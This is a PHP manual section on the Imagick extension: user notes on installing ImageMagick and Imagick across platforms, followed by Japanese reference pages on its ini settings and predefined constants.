The root directory of your public files is located at /var/www/html/.  Normally, this folder is not owned by the user, so you'll get a permission error when trying to add files or folders to it.  Correct that with entering admin mode in the terminal/command-line window ("su" command) and entering the following command: "chown [YOUR-USERNAME] -R /var/www/html/", without quotes.  Again, replace "[YOUR-USERNAME]" with your actual user name.  (Warning: The first time I did this, I was lazy and entered the command for only the "/var/" folder, which prevented my system ever from booting.  It would always freeze with the notorious and googleable erro-message: "Could not update ICEauthority file /var/lib/gdm/.ICEauthority".  So, make sure to change ownership only for "/var/www/html/".)

To view your root directory files as compiled, resultant, PHP pages, open up a browser and enter "127.0.0.1" as the address.  So, a file in your root directory would be accessed at the following URL in your browser: http://127.0.0.1/your.file.php .  If you get a "could not connect" error message, try the command "service httpd start" at the terminal window from admin mode.  (You have to start this service manually every time the machine boots, although there's plenty of ways to automate it.)

I hope this helps!  I tried a hundred different guides on getting Apache/PHP/Imagick to work together and none of them worked.  Don't give up!  ImageMagick is a package of really neat imaging functions!
Baasha 10-May-2013 09:28
To install on debian simply try:

apt-get install php5-imagick

on ubuntu:

sudo apt-get install php5-imagick
Dmitry Semenov 14-Feb-2013 10:06
If you tried to install it on Linux and got this message

pecl install imagick

/var/tmp/imagick/php_imagick.h:49:31: fatal error: wand/MagickWand.h: No such file or directory
compilation terminated.
make: *** [imagick_class.lo] Error 1
ERROR: `make' failed

this is what solves it:

yum install ImageMagick-devel
vbsaltydog 30-Jul-2010 08:31
I could not install via PECL or compiling from source because of an error from line 3339 of the configure file generated by phpize so I looked at the configure file at line 3339 and it was just a check for the PHP version using the php-config command with the --vernum switch which was not supported by my PHP version so I commented out that check from the configure file and then it would configure, compile, and install.

After installation, it put the shared object file in my php extension modules directory so I added an entry to my /etc/php.d directory to load the extension file and restarted apache and the imagick section is present in my info.php output.
Martin Vincent 22-Jan-2010 08:32
For PHP 5.3 I have read that these versions should work:
ImageMagick-6.5.9-0-Q16-windows-dll.exe
imagick-2.3.0-dev/vc9_nts/php_imagick.dll
scottchu dot tw at gmail dot com 22-Dec-2009 07:17
PECL install imagick contantly fails due to the server is behind some firewall, so one may try 'phpize' way to install.

However, someone like me who doesn't want to use default options may experience thru failure situation. And if you google thru the cloud, you may find many people tell you to rpm imagick-devel with yum or apt. That does solve the problem.

However, In my case, my server already has php 5.3.1 installed under /usr/lcal/php & the linux doesn't have yum or apt service. Furthermore, I just installed imagemagick yesterday (Also quite a battle =.=) under /usr/local/imk

(note: You may see that I don't like default options, I like to install each package under different dir under /usr/local).

Today, I want to install imagick, so this is what I do:

1> add /usr/local/php/bin & /usr/local/imk/bin to path.

2> download imagick source of intended version (I use 3.0.b1).

3> enter that dir & issue 'phpize'.

(note:I got a habit to issue './configure --help > oo' & 'view oo' to see all the options first before installation)

4> 'vi configure' & find LIBS, then add '-l/usr/local/imk/lib' after it.

5> issue './configure --prefix=/usr/local/ik4php' --with-imagick='/usr/local/imk'.

(note: with-imagick points out where you install the imagicmagick package before, this name 'imagick'  is not appropriate since it incurs ambiguity with imagick for php =.=)

6> after it's done, issue 'make'.

7> after make is done, issue 'make install'.

(note:the last two output lines will tell you where to find the generated shared object library file: imagick.so)

8> go to that dir & copy imagick.so to the extension dir defined in php.ini.

(note: in my case it's /usr/local/php/ext)

9> edit php.ini to add 'extension=imagick.so' line.

10> stop & start apache or just restart apache.

(note: if you have tomcat + apache + jk module installation style as mine, shutdown tomcat, stop apache, then startup tomcat first, then start apache)

If you have similar server environment & situation as mine, hope this article helps you.

Scott Chu @ Taiwan
gmorris at ilogsystems dot com 20-Oct-2009 11:11
I struggled to get imagick installed for mamp and dug high and low. I
was left with the impression that so many struggle with opensource and
 this type of install that it is almost a right of passage. For my part, I
 managed to find two threads that helped me and the steps work. A lot
 of people talked about macports and pear installs which are fine(I tried
 them), but 1) they sometimes don't get the latest version of what
 you need and 2) I can't tell what they're doing and where they're doing it.

It's much easier to me to download the stuff where i want it and be
sure of what i got!

First of all download a tar image of the ImageMagick install from here:
sourceforge.net/projects/imagemagick/files/

Unpack it and then from terminal issue the following commands in
 quotes:
1.  "cd ImageMagick-6.5.7" - go where you placed the folder

2.  "./configure"

3.  "make"

If ImageMagick configured and compiled without complaint, you are
 ready to install it on your system. Administrator privileges are
 required to install. To install, type the following command in terminal:

1.  "sudo make install"

To check your ImageMagick installation enter the following command
 in terminal:

1. "make check"

Remember all commands are entered into terminal in the directory in
 which you unzipped your downloaded ImageMagick tar file. (the latest
 version of which at this time of writing is ImageMagick-6.5.7.)

Next we need to install Imagick.so which is what we want for PHP.

First of all we need to get the right file and we can get that from here:

pecl.php.net/package/imagick/download

At current writing the latest stable version is imagick-2.3.0.

Unpack the tar file and then enter the commands in quotes in terminal:

1.  "cd imagick-2.2.3" - go where you placed the folder

2.   "phpize"

3.   "./configure --with-imagick=/opt/local"

4.   "make"

5.    "make install"

If you look at the bottom of the output, it will tell you where it has
placed the imagick.so module. For me it was placed in:

/imagick-2.3.0/modules

which is where i had unpacked the downloaded imagick-2.3.0 file.

Then copy it into your MAMP PHP extensions folder.

For me it was:
/Applications/MAMP/bin/php5/lib/php/extensions/no-debug-non-zts
-20050922/

Then, for PHP to honor the the extension, add the following line to the
 extensions section of your php.ini file:

extension=imagick.so

You should now have a working imagick extension with all of the
 resources for php found here:
php.net/manual/en/book.imagick.php

I will not claim credit for anyone for whom this works, that goes to:

Imagemagick who posted instructions here:
www.imagemagick.org/script/install-source.php

and Wallance who posted his experience here:
www.daniweb.com/forums/thread194181.html#

I really hope this helps others because developing this stuff is
frustrating enough without spending hours or even days just trying to set
 up the development environment so you can use the tools.
elia weiss 12-Sep-2009 12:33
if you get the following error on windows (vista):
'The application has failed to start because its side-by-side
configuration is incorrect. Please see the application event log
 for more detail.'

then install:
Visual C++ 2008 Redistributable Package (x86)
from:
http://www.microsoft.com/downloads
/details.aspx?familyid=A5C84275-3B97-4AB7-A40D-3802B2AF5FC2

see:
http://www.imagemagick.org/script/binary-releases.php#windows
for more info (scroll to the end of the page)
Ultimater at gmail dot com 28-Jul-2009 07:41
Installing Imagick on Windows isn't too hard.  I followed the guide at http://valokuva.org/?page_id=50 and managed to install it without too much sweat.

1. Visit http://imagemagick.org/script/binary-releases.php#windows and download "ImageMagick-6.5.4-6-Q16-windows-dll.exe"

2. Pick a version at http://valokuva.org/outside-blog-content/imagick-windows-builds/ The directories are in YYMMDD format. The latest version that worked for me was 2008-Jul-09 so download 080709/php_imagick_dyn-Q16.dll respectively.

3. Rename php_imagick_dyn-Q16.dll to "php_imagick.dll" and move it to php/ext

4. open php.ini, and make sure
extension=php_imagick.dll
appears in the file and uncommented then resave.
Note: phpinfo() will tell you the location of the loaded php.ini file.

5. Re-start your webserver.

That's it, a simple test will tell you if your installation was successful.
<?php
$im = new Imagick();
$im->newPseudoImage(100, 100, "magick:rose");
$im->setImageFormat("png");
$im->roundCorners(5,3);
$type=$im->getFormat();
header("Content-type: $type");
echo $im->getimageblob();
?>
Anonymous 28-Apr-2009 12:54
Installation of Imagick on Windows:
-------------------------------------------

Here an important hint for all who want to use Imagick:

First of all: Forget this PECL.
It is for Linux only.

In the old discussion boards I read that some years ago there was a DLL for PHP available on the FTP server of imagemagick.org. Once upon a time there has also been a CHM installation help file on FTP which also has been removed. The only thing you find today on the FTP server is a ridiculous text file:
ftp://ftp.imagemagick.org/pub/ImageMagick/php/windows/README.txt
This file contains 3 links:
2 links of them are dead meanwhile.
The only working one is this:
www.dirk.sh/dirk/magickwand
a page of a chinese guy who offers a MagickWand.dll for PHP of 4 MB size (Q8, static compiled)
But he discontinoued support since 2007.
There is no installation manual available.

He only writes:
"Please ref watson's post about how to install on Windows:
redux.imagemagick.org/discourse-server/viewtopic.php?t=4708"

This page which uses stupid style sheet settings like "font-size:11%" which make parts of the text unreadable also was no help.

At the end all manuals say the same:
Copy the DLL into the "ext" folder and add the entry to the php.ini:
extension=dllname
restart the Apache and you are done.

But this is not true: it simply does NOT work on Xampp.
In a DOS box entering
PHP.exe -i > Info.txt
prints all installed modules.
You also find:

"magickwand
MagickWand Backend Library => ImageMagick
MagickWand Extension Version => 1.0.5
ImageMagick support => enabled
ImageMagick version => ImageMagick 6.3.5 09/21/07 Q8 www.imagemagick.org
ImageMagick QuantumRange (MaxRGB) => 255
MagickWand supported image formats => A, ART, AVI, AVS, B, BIE, BMP, BMP2, BMP3, etc.."

But after executing phpinfo() MagickWand does NOT appear under the installed extensions. Strange!!
And the Wand commands do NOT function like:
$resource = NewMagickWand();

I also found a php_imagick.dll of 65 kB size in the internet which also does not work. It does not even appear in
PHP -i.

There is no error in the Apache logfile!

I read all I could find in the internet and wasted 2 entire days, without success, now I'm sick of Imagick and I absolutely cannot understand why the guys of imagemagick.org don't offer a ready compiled dll with an installation manual anymore?

In general the Imagick page seems not very trustworthy:
On the download page they do never explain what is the difference between the several versions. What doess static mean?
They never explain. (Static means that the convert.exe does not depend on so many dlls. It only requires one external DLL, for that it has a size of 5 MB instead of 200 kb)
And the explanation about the difference between Q8 and Q16 version is wrong: Q8 does NOT mean 8 Bits per pixel as the download page says. It means 8 Bit per color = 24 Bit per Pixel)

And I found an ugly misdesign:
If you install the Q8 version on your local PC and want to copy the files from your harddisk to the server, then convert.exe will crash!
Convert.exe depends on a Registry Entry. And if this is missing (on a server where you have not full access) it will crash. The strangest thing is that this registry key can contain any nonsense, it only must exist! How stupid!

So if you want to execute as an alternative the commandline tools like convert.exe from your PHP code you must add this Registry entries to the server:
HKEY_LOCAL_MACHINE\SOFTWARE\ImageMagick\6.5.1\Q:8\ConfigurePath
The value can be anything.

But with the commandline tools you cannot obtain the width and height of an image in your PHP code. This is not possible.


実行時設定

php.ini の設定により動作が変化します。

Imagick 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
imagick.locale_fix | false | PHP_INI_ALL | Imagick 2.1.0 以降で使用可能
imagick.progress_monitor | false | PHP_INI_SYSTEM | Imagick 2.2.2 以降で使用可能
imagick.skip_version_check | false | PHP_INI_SYSTEM | Imagick 3.3.0 以降で使用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

imagick.locale_fix bool

小数点に ',' を使うロケールでの描画のバグを修正します。

imagick.progress_monitor bool

画像プログレスモニターを有効にします。

imagick.skip_version_check bool

Imagick を読み込む際には、コンパイル時に使った ImageMagick のバージョン番号と現在インストールされている ImageMagick のバージョン番号をチェックして、 一致しない場合に警告を発します。この ini 設定を有効にすると、一致しない場合の警告を出さないようにできます。

コンパイル時に使ったバージョンと異なる ImageMagick を利用することはお勧めしません。 たまたま動いているように見えるかもしれませんが、不意にクラッシュしたり予期せぬ振る舞いを起こしたりする可能性があります。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

COLOR_* 定数

色タイプ定数です。これらは主に ImagickPixel で使用します。

imagick::COLOR_BLACK (int)
黒
imagick::COLOR_BLUE (int)
青
imagick::COLOR_CYAN (int)
シアン
imagick::COLOR_GREEN (int)
緑
imagick::COLOR_RED (int)
赤
imagick::COLOR_YELLOW (int)
黄色
imagick::COLOR_MAGENTA (int)
マゼンタ
imagick::COLOR_OPACITY (int)
色の透過度
imagick::COLOR_ALPHA (int)
色のアルファ値
imagick::COLOR_FUZZ (int)
ファズ
DISPOSE 定数

配置方式の定数です。

imagick::DISPOSE_UNRECOGNIZED (int)
認識不可能
imagick::DISPOSE_UNDEFINED (int)
未定義
imagick::DISPOSE_NONE (int)
なし
imagick::DISPOSE_BACKGROUND (int)
背景
imagick::DISPOSE_PREVIOUS (int)
前
合成演算子用定数
imagick::COMPOSITE_DEFAULT (int)
デフォルトの合成演算子
imagick::COMPOSITE_UNDEFINED (int)
未定義の合成演算子
imagick::COMPOSITE_NO (int)
合成演算子が定義されていない
imagick::COMPOSITE_ADD (int)
画像と画像を足し合わせます。
imagick::COMPOSITE_ATOP (int)
元の画像と同じ形で、ぼんやりとした画像を重ねます。
imagick::COMPOSITE_BLEND (int)
画像を混ぜ合わせます。
imagick::COMPOSITE_BUMPMAP (int)
COMPOSITE_MULTIPLY と同じですが、まず最初に元画像をグレースケールに変換します。
imagick::COMPOSITE_CLEAR (int)
対象の画像を透明にします。
imagick::COMPOSITE_COLORBURN (int)
対象の画像を暗くして元画像を反映させます。
imagick::COMPOSITE_COLORDODGE (int)
対象の画像を明るくして元画像を反映させます。
imagick::COMPOSITE_COLORIZE (int)
合成する画像を用いて画像をカラー化します。
imagick::COMPOSITE_COPYBLACK (int)
黒を元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYBLUE (int)
青を元画像から対象画像にコピーします。
imagick::COMPOSITE_COPY (int)
元画像を対象画像の上にコピーします。
imagick::COMPOSITE_COPYCYAN (int)
シアンを元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYGREEN (int)
緑を元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYMAGENTA (int)
マゼンタを元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYOPACITY (int)
透明度を元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYRED (int)
赤を元画像から対象画像にコピーします。
imagick::COMPOSITE_COPYYELLOW (int)
黄を元画像から対象画像にコピーします。
imagick::COMPOSITE_DARKEN (int)
対象画像を暗くします。
imagick::COMPOSITE_DSTATOP (int)
対象画像のうち元画像の内部にあるものを元画像と合成し、対象画像を置き換えます。
imagick::COMPOSITE_DST (int)
対象画像をそのままにしておきます。
imagick::COMPOSITE_DSTIN (int)
元画像の内部で対象画像を置き換えます。
imagick::COMPOSITE_DSTOUT (int)
元画像の外部で対象画像を置き換えます。
imagick::COMPOSITE_DSTOVER (int)
対象画像で元画像を置き換えます。
imagick::COMPOSITE_DIFFERENCE (int)
ふたつの色のうち、明るいほうから暗いほうを引きます。
imagick::COMPOSITE_DISPLACE (int)
対象画像のピクセルを、元画像で定義されたようにシフトします。
imagick::COMPOSITE_DISSOLVE (int)
元画像を対象画像の中に分解します。
imagick::COMPOSITE_EXCLUSION (int)
imagick::COMPOSITE_DIFFERENCE と似た効果を施しますが、 コントラストはそれよりやや低くなります。
imagick::COMPOSITE_HARDLIGHT (int)
元の画像の色に応じて、色を掛け合わせます。
imagick::COMPOSITE_HUE (int)
対象画像の色相を、元画像で指定したように変更します。
imagick::COMPOSITE_IN (int)
元画像を対象画像の中に合成します。
imagick::COMPOSITE_LIGHTEN (int)
対象画像の明度を、元画像で指定したように上げます。
imagick::COMPOSITE_LUMINIZE (int)
対象画像を、元画像で指定したようにルミナイズします。
imagick::COMPOSITE_MINUS (int)
元画像を対象画像から引きます。
imagick::COMPOSITE_MODULATE (int)
対象画像の輝度、彩度および色相を、元画像で指定したように調節します。
imagick::COMPOSITE_MULTIPLY (int)
対象画像を元画像に掛け合わせます。
imagick::COMPOSITE_OUT (int)
元画像の外部を対象画像に合成します。
imagick::COMPOSITE_OVER (int)
元画像を対象画像にかぶせます。
imagick::COMPOSITE_OVERLAY (int)
元画像を対象画像にオーバーレイさせます。
imagick::COMPOSITE_PLUS (int)
元画像を対象画像に加えます。
imagick::COMPOSITE_REPLACE (int)
対象画像を元画像で置き換えます。
imagick::COMPOSITE_SATURATE (int)
対象画像を、元画像で指定したようにしみこませます。
imagick::COMPOSITE_SCREEN (int)
The source and destination are complemented and then multiplied and then replace the destination
imagick::COMPOSITE_SOFTLIGHT (int)
元画像の指定に応じて、画像を明るくしたり暗くしたりします。
imagick::COMPOSITE_SRCATOP (int)
元画像のうち対象画像の内側にある部分を、対象画像の上に合成します。
imagick::COMPOSITE_SRC (int)
元画像を対象画像にコピーします。
imagick::COMPOSITE_SRCIN (int)
元画像のうち対象画像の内側にある部分で、対象画像を置き換えます。
imagick::COMPOSITE_SRCOUT (int)
元画像のうち対象画像の外部にある部分で元画像を置き換えます。
imagick::COMPOSITE_SRCOVER (int)
元画像で対象画像を置き換えます。
imagick::COMPOSITE_SUBTRACT (int)
元画像の色を対象画像から引きます。
imagick::COMPOSITE_THRESHOLD (int)
指定した閾値で、元画像を対象画像に合成します。
imagick::COMPOSITE_XOR (int)
元画像のうち対象画像の外側にある部分と、 対象画像のうち元画像の外側にある部分を合成します。
MONTAGEMODE 定数

imagick::MONTAGEMODE_FRAME (int)
imagick::MONTAGEMODE_UNFRAME (int)
imagick::MONTAGEMODE_CONCATENATE (int)
STYLE 定数

imagick::STYLE_NORMAL (int)
imagick::STYLE_ITALIC (int)
imagick::STYLE_OBLIQUE (int)
imagick::STYLE_ANY (int)
FILTER 定数

imagick::FILTER_UNDEFINED (int)
imagick::FILTER_POINT (int)
imagick::FILTER_BOX (int)
imagick::FILTER_TRIANGLE (int)
imagick::FILTER_HERMITE (int)
imagick::FILTER_HANNING (int)
imagick::FILTER_HAMMING (int)
imagick::FILTER_BLACKMAN (int)
imagick::FILTER_GAUSSIAN (int)
imagick::FILTER_QUADRATIC (int)
imagick::FILTER_CUBIC (int)
imagick::FILTER_CATROM (int)
imagick::FILTER_MITCHELL (int)
imagick::FILTER_LANCZOS (int)
imagick::FILTER_BESSEL (int)
imagick::FILTER_SINC (int)
IMGTYPE 定数

imagick::IMGTYPE_UNDEFINED (int)
imagick::IMGTYPE_BILEVEL (int)
imagick::IMGTYPE_GRAYSCALE (int)
imagick::IMGTYPE_GRAYSCALEMATTE (int)
imagick::IMGTYPE_PALETTE (int)
imagick::IMGTYPE_PALETTEMATTE (int)
imagick::IMGTYPE_TRUECOLOR (int)
imagick::IMGTYPE_TRUECOLORMATTE (int)
imagick::IMGTYPE_COLORSEPARATION (int)
imagick::IMGTYPE_COLORSEPARATIONMATTE (int)
imagick::IMGTYPE_OPTIMIZE (int)
RESOLUTION 定数

imagick::RESOLUTION_UNDEFINED (int)
imagick::RESOLUTION_PIXELSPERINCH (int)
imagick::RESOLUTION_PIXELSPERCENTIMETER (int)
COMPRESSION 定数

imagick::COMPRESSION_UNDEFINED (int)
imagick::COMPRESSION_NO (int)
imagick::COMPRESSION_BZIP (int)
imagick::COMPRESSION_FAX (int)
imagick::COMPRESSION_GROUP4 (int)
imagick::COMPRESSION_JPEG (int)
imagick::COMPRESSION_JPEG2000 (int)
imagick::COMPRESSION_LOSSLESSJPEG (int)
imagick::COMPRESSION_LZW (int)
imagick::COMPRESSION_RLE (int)
imagick::COMPRESSION_ZIP (int)
imagick::COMPRESSION_DXT1 (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.0 以降。
imagick::COMPRESSION_DXT3 (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.0 以降。
imagick::COMPRESSION_DXT5 (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.0 以降。
PAINT 定数

imagick::PAINT_POINT (int)
imagick::PAINT_REPLACE (int)
imagick::PAINT_FLOODFILL (int)
imagick::PAINT_FILLTOBORDER (int)
imagick::PAINT_RESET (int)
GRAVITY 定数

imagick::GRAVITY_NORTHWEST (int)
imagick::GRAVITY_NORTH (int)
imagick::GRAVITY_NORTHEAST (int)
imagick::GRAVITY_WEST (int)
imagick::GRAVITY_CENTER (int)
imagick::GRAVITY_EAST (int)
imagick::GRAVITY_SOUTHWEST (int)
imagick::GRAVITY_SOUTH (int)
imagick::GRAVITY_SOUTHEAST (int)
STRETCH 定数

imagick::STRETCH_NORMAL (int)
imagick::STRETCH_ULTRACONDENSED (int)
imagick::STRETCH_CONDENSED (int)
imagick::STRETCH_SEMICONDENSED (int)
imagick::STRETCH_SEMIEXPANDED (int)
imagick::STRETCH_EXPANDED (int)
imagick::STRETCH_EXTRAEXPANDED (int)
imagick::STRETCH_ULTRAEXPANDED (int)
imagick::STRETCH_ANY (int)
ALIGN 定数

imagick::ALIGN_UNDEFINED (int)
imagick::ALIGN_LEFT (int)
imagick::ALIGN_CENTER (int)
imagick::ALIGN_RIGHT (int)
DECORATION 定数

imagick::DECORATION_NO (int)
imagick::DECORATION_UNDERLINE (int)
imagick::DECORATION_OVERLINE (int)
imagick::DECORATION_LINETROUGH (int)
NOISE 定数

imagick::NOISE_UNIFORM (int)
imagick::NOISE_GAUSSIAN (int)
imagick::NOISE_MULTIPLICATIVEGAUSSIAN (int)
imagick::NOISE_IMPULSE (int)
imagick::NOISE_LAPLACIAN (int)
imagick::NOISE_POISSON (int)
imagick::NOISE_RANDOM (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.6 以降。
CHANNEL 定数

imagick::CHANNEL_UNDEFINED (int)
imagick::CHANNEL_RED (int)
imagick::CHANNEL_GRAY (int)
imagick::CHANNEL_CYAN (int)
imagick::CHANNEL_GREEN (int)
imagick::CHANNEL_MAGENTA (int)
imagick::CHANNEL_BLUE (int)
imagick::CHANNEL_YELLOW (int)
imagick::CHANNEL_ALPHA (int)
imagick::CHANNEL_OPACITY (int)
imagick::CHANNEL_MATTE (int)
imagick::CHANNEL_BLACK (int)
imagick::CHANNEL_INDEX (int)
imagick::CHANNEL_ALL (int)
imagick::CHANNEL_DEFAULT (int)
METRIC 定数

imagick::METRIC_UNDEFINED (int)
imagick::METRIC_MEANABSOLUTEERROR (int)
imagick::METRIC_MEANSQUAREERROR (int)
imagick::METRIC_PEAKABSOLUTEERROR (int)
imagick::METRIC_PEAKSIGNALTONOISERATIO (int)
imagick::METRIC_ROOTMEANSQUAREDERROR (int)
PIXEL 定数

imagick::PIXEL_CHAR (int)
imagick::PIXEL_DOUBLE (int)
imagick::PIXEL_FLOAT (int)
imagick::PIXEL_INTEGER (int)
ImageMagick < 7 でのみ利用可能です。
imagick::PIXEL_LONG (int)
imagick::PIXEL_QUANTUM (int)
imagick::PIXEL_SHORT (int)
EVALUATE 定数

imagick::EVALUATE_UNDEFINED (int)
imagick::EVALUATE_ADD (int)
imagick::EVALUATE_AND (int)
imagick::EVALUATE_DIVIDE (int)
imagick::EVALUATE_LEFTSHIFT (int)
imagick::EVALUATE_MAX (int)
imagick::EVALUATE_MIN (int)
imagick::EVALUATE_MULTIPLY (int)
imagick::EVALUATE_OR (int)
imagick::EVALUATE_RIGHTSHIFT (int)
imagick::EVALUATE_SET (int)
imagick::EVALUATE_SUBTRACT (int)
imagick::EVALUATE_XOR (int)
imagick::EVALUATE_POW (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_LOG (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_THRESHOLD (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_THRESHOLDBLACK (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_THRESHOLDWHITE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_GAUSSIANNOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_IMPULSENOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_LAPLACIANNOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_MULTIPLICATIVENOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_POISSONNOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_UNIFORMNOISE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_COSINE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_SINE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
imagick::EVALUATE_ADDMODULUS (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.4 以降。
COLORSPACE 定数

imagick::COLORSPACE_UNDEFINED (int)
imagick::COLORSPACE_RGB (int)
imagick::COLORSPACE_GRAY (int)
imagick::COLORSPACE_TRANSPARENT (int)
imagick::COLORSPACE_OHTA (int)
imagick::COLORSPACE_LAB (int)
imagick::COLORSPACE_XYZ (int)
imagick::COLORSPACE_YCBCR (int)
imagick::COLORSPACE_YCC (int)
imagick::COLORSPACE_YIQ (int)
imagick::COLORSPACE_YPBPR (int)
imagick::COLORSPACE_YUV (int)
imagick::COLORSPACE_CMYK (int)
imagick::COLORSPACE_SRGB (int)
imagick::COLORSPACE_HSB (int)
imagick::COLORSPACE_HSL (int)
imagick::COLORSPACE_HWB (int)
imagick::COLORSPACE_REC601LUMA (int)
imagick::COLORSPACE_REC709LUMA (int)
imagick::COLORSPACE_LOG (int)
imagick::COLORSPACE_CMY (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.2 以降。
VIRTUALPIXELMETHOD 定数

imagick::VIRTUALPIXELMETHOD_UNDEFINED (int)
imagick::VIRTUALPIXELMETHOD_BACKGROUND (int)
imagick::VIRTUALPIXELMETHOD_CONSTANT (int)
imagick::VIRTUALPIXELMETHOD_EDGE (int)
imagick::VIRTUALPIXELMETHOD_MIRROR (int)
imagick::VIRTUALPIXELMETHOD_TILE (int)
imagick::VIRTUALPIXELMETHOD_TRANSPARENT (int)
imagick::VIRTUALPIXELMETHOD_MASK (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.2 以降。
imagick::VIRTUALPIXELMETHOD_BLACK (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.2 以降。
imagick::VIRTUALPIXELMETHOD_GRAY (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.2 以降。
imagick::VIRTUALPIXELMETHOD_WHITE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.2 以降。
imagick::VIRTUALPIXELMETHOD_HORIZONTALTILE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.3 以降。
imagick::VIRTUALPIXELMETHOD_VERTICALTILE (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.4.3 以降。
PREVIEW 定数

imagick::PREVIEW_UNDEFINED (int)
imagick::PREVIEW_ROTATE (int)
imagick::PREVIEW_SHEAR (int)
imagick::PREVIEW_ROLL (int)
imagick::PREVIEW_HUE (int)
imagick::PREVIEW_SATURATION (int)
imagick::PREVIEW_BRIGHTNESS (int)
imagick::PREVIEW_GAMMA (int)
imagick::PREVIEW_SPIFF (int)
imagick::PREVIEW_DULL (int)
imagick::PREVIEW_GRAYSCALE (int)
imagick::PREVIEW_QUANTIZE (int)
imagick::PREVIEW_DESPECKLE (int)
imagick::PREVIEW_REDUCENOISE (int)
imagick::PREVIEW_ADDNOISE (int)
imagick::PREVIEW_SHARPEN (int)
imagick::PREVIEW_BLUR (int)
imagick::PREVIEW_THRESHOLD (int)
imagick::PREVIEW_EDGEDETECT (int)
imagick::PREVIEW_SPREAD (int)
imagick::PREVIEW_SOLARIZE (int)
imagick::PREVIEW_SHADE (int)
imagick::PREVIEW_RAISE (int)
imagick::PREVIEW_SEGMENT (int)
imagick::PREVIEW_SWIRL (int)
imagick::PREVIEW_IMPLODE (int)
imagick::PREVIEW_WAVE (int)
imagick::PREVIEW_OILPAINT (int)
imagick::PREVIEW_CHARCOALDRAWING (int)
imagick::PREVIEW_JPEG (int)
RENDERINGINTENT 定数

imagick::RENDERINGINTENT_UNDEFINED (int)
imagick::RENDERINGINTENT_SATURATION (int)
imagick::RENDERINGINTENT_PERCEPTUAL (int)
imagick::RENDERINGINTENT_ABSOLUTE (int)
imagick::RENDERINGINTENT_RELATIVE (int)
INTERLACE 定数

imagick::INTERLACE_UNDEFINED (int)
imagick::INTERLACE_NO (int)
imagick::INTERLACE_LINE (int)
imagick::INTERLACE_PLANE (int)
imagick::INTERLACE_PARTITION (int)
imagick::INTERLACE_GIF (int)
この定数は、Imagick のコンパイルを次のバージョンの ImageMagick で 行った場合に使用可能です。 6.3.4 以降。
imagick::INTERLACE_JPEG (int)
imagick::INTERLACE_PNG (int)
FILLRULE 定数

imagick::FILLRULE_UNDEFINED (int)
imagick::FILLRULE_EVENODD (int)
imagick::FILLRULE_NONZERO (int)
PATHUNITS 定数

imagick::PATHUNITS_UNDEFINED (int)
imagick::PATHUNITS_USERSPACE (int)
imagick::PATHUNITS_USERSPACEONUSE (int)
imagick::PATHUNITS_OBJECTBOUNDINGBOX (int)
LINECAP 定数

imagick::LINECAP_UNDEFINED (int)
imagick::LINECAP_BUTT (int)
imagick::LINECAP_ROUND (int)
imagick::LINECAP_SQUARE (int)
LINEJOIN 定数

imagick::LINEJOIN_UNDEFINED (int)
imagick::LINEJOIN_MITER (int)
imagick::LINEJOIN_ROUND (int)
imagick::LINEJOIN_BEVEL (int)
RESOURCETYPE 定数

imagick::RESOURCETYPE_UNDEFINED (int)
imagick::RESOURCETYPE_AREA (int)
